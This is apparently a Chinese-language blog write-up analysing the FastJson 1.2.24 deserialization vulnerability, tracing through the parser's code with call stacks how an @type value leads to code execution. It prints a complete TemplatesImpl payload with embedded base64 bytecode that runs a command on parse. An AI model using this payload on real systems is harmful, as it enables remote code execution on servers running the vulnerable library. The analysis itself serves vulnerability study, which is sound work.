前言 初探FastJson,version = 1.2.24
FastJson Fastjson是Alibaba开发的Java语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换,提供两个主要接口 JSON.toJSONString 和 JSON.parseObject/JSON.parse 来分别实现序列化和反序列化操作。
Demo 添加环境
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
Person类
import java.util.HashMap;import java.util.Map;public class Person { private String name; private Map age; Person(){}; Person(String name){ this .name = name; } public void setName (String name) { this .name = name; System.out.println("setName invoke" ); } public String getName () { System.out.println("getName invoke" ); return name; } public Map getAge () { System.out.println("getAge invoke" ); return new HashMap(); } }
Demo类
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;import java.util.HashMap;public class fastjsonDemo { public static void main (String[] args) { HashMap<Object, Object> map = new HashMap<Object, Object>(); map.put("key1" ,"value1" ); map.put("key2" ,"value2" ); String mapJson1 = JSON.toJSONString(map); String mapJson2 = JSON.toJSONString(map,SerializerFeature.WriteClassName); System.out.println(mapJson1); System.out.println(mapJson2); Person person = new Person("Y0ng" ,20 ); String PersonJson1 = JSON.toJSONString(person); String PersonJson2 = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(PersonJson1); System.out.println(PersonJson2); Person Unperson = (Person) JSON.parse(PersonJson2); System.out.println(Unperson.getName()); System.out.println(); Object obj = JSON.parseObject(PersonJson2); System.out.println(obj); System.out.println("obj name:" +obj.getClass().getName()+"\n" ); Object obj1 = JSON.parseObject(PersonJson2,Object.class); System.out.println(obj1); System.out.println("obj1 name:" +obj1.getClass().getName()); } }
在序列化时加上 SerializerFeature.WriteClassName 这个参数值,会在序列化时写入一个 @type
,用来指定序列化的类的类型,后面是其属性名和值。
FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,有三个,分别是
JSON.parseObject()
JSON.parse()
JSON.parseArray()
前两个最主要的区别就是 parseObject 返回的是 JSONObject 而 parse 返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。
parse 他会去优先去匹配调用字段的set方法,如果没有set方法,就会去寻找字段的get方法(有条返回值要是Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong,这就是TemplatesImpl调用链的触发原因)
parseObject会调用set与get方法
小结 使用 SerializerFeature.WriteClassName 时 会在序列化中写入当前的 type , @type 可以 指定反序列化任意类 ,调用其set,get,is方法 。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题
流程跟进 以 TemplatesImpl 加载字节码为例子分析
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.util.HashMap;public class fastjsonDemo { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}" ; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
跟进
接着调用parse
发现 JSON#parse() 种实例化 DefaultJSONParser 类 并调用 DefaultJSONParser#parse()
可以看到传入的还有黑名单 ParserConfig#getGlobalInstance()
先跟入实例化过程,调用了 JSONScanner()
跟进 JSONScanner#JSONScanner() 就是获取输入长度 调用next()
next() 就是字符串扫描
回到 DefaultJSONParser 实例化过程,lexer 就是上一步传入实例化的 JSONScanner,ch 通过getCurrent()获得首个字符 即 {
,lexer的token 被赋值为 12
此时实例化完成,调用 DefaultJSONParser#parse() ,对lexer的token进行switch
进入 12 的分支 ,创建JSONObject 的对象 ,调用 DefaultJSONParser#parseObject()
在 DefaultJSONParser#parseObject() 中,获取到目前字符 即 "
然后通过 scanSymbol() 匹配特定字符 @type
获取typeName 然后调用 TypeUtils.loadClass进行加载恶意Class,这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类
然后走到反序列化的地方,创建 ObjectDeserializer 对象并调用了deserialze方法
跟入ParseConfig#getDeserializer()
经过不断调试,会调用 ParseConfig#createJavaBeanDeserializer()
跟进走到关键函数 获取 javabean的info
跟进 JavaBeanInfo#build()
此时调用栈
build:137, JavaBeanInfo (com.alibaba.fastjson.util) createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser) getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser) parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:27, fastjsonDemo
看看干了什么,反射获取所有的字段和方法,创建变量 fieldList
接下来会经历三个for循环,将特定的值放入fieldList中
看看第一个for 操作为获取setter方法,setter判断为四个限定条件
函数名长度大于等于4
非静态方法
返回类型为void 或者当前对象类型
set开头
参数长度为1
第四个字母为大写
接着是第三个for循环为获取getter方法,同样的限定方法如下
函数名长度大于等于4
非静态方法
get开头
第四个字母为大写
无参数
返回值类型继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
此getter
方法没有对应的setter
方法
最后有三个符合参数,最后作为参数传入JavaBeanInfo
类的实例
向上返回到执行deserialize方法处
然后执行 JavaBeanDeserializer#deserialze(),这里断点不管用
最后会走到这个函数
for循环 后半部分处理JSON中剩下的键值对
通过scanSymbol 函数获取下个键名 第一个获取到了_bytecodes
创建了对象
在600行调用了parseField 去解析 _bytecodes的值
JavaBeanDeserializer#parseField() 调用 smartMatch 处理 键名 跟进
JavaBeanDeserializer#smartMatch()
又调用了getFieldDeserializer() 跟进,会将键名与之前 setter/getter筛选出来的field进行比较是否相同,_bytecodes 比较结果是false,返回null
返回到smartMatch()中 将返回值设置为 fieldDeserializer ,进入if分支,将 _ 和 -
替换为空 ,结果就是key变为了bytecodes
smartMatch()返回值为fieldDeserializer = null
为fieldDeserializer 赋值为
调用parseField函数 跟进
DefaultFieldDeserializer#parseField() 调用 fieldValueDeserilizer.deserialze
在 fieldValueDeserilizer.deserialze 会将 _bytecodes内容进行base64解码 ,返回值给到value,然后调用setValue将内容
base解码调用栈
调用栈
decodeBase64:478, IOUtils (com.alibaba.fastjson.util) bytesValue:112, JSONScanner (com.alibaba.fastjson.parser) deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2] parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1] parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:13, java1_2_25
FieldDeserializer#setValue
然后一直返回到 JavaBeanDeserializer#deserialze() 进入下一次for循环
_outputProperties 中间的一些 _name、_tfactory等跳过,同样的在600行调用parseField进行解析
同样进入smartMatch,但是由于去掉 _ 符合sortedFieldDeserializers
中的三个元素,返回fieldDeserializer
经过 fieldValueDeserilizer.deserialze 然后进入setValue
在setValue中 尝试获取field的方法,此时
method = public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
然后反射调用 调用 newTransformer()然后defineClass加载恶意类
setValue:136, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:27, fastjsonDemo
参考 FastJson安全初探-反序列化漏洞回顾分析 - 先知社区 (aliyun.com)
Java安全之FastJson反序列化初探 · 语雀 (yuque.com)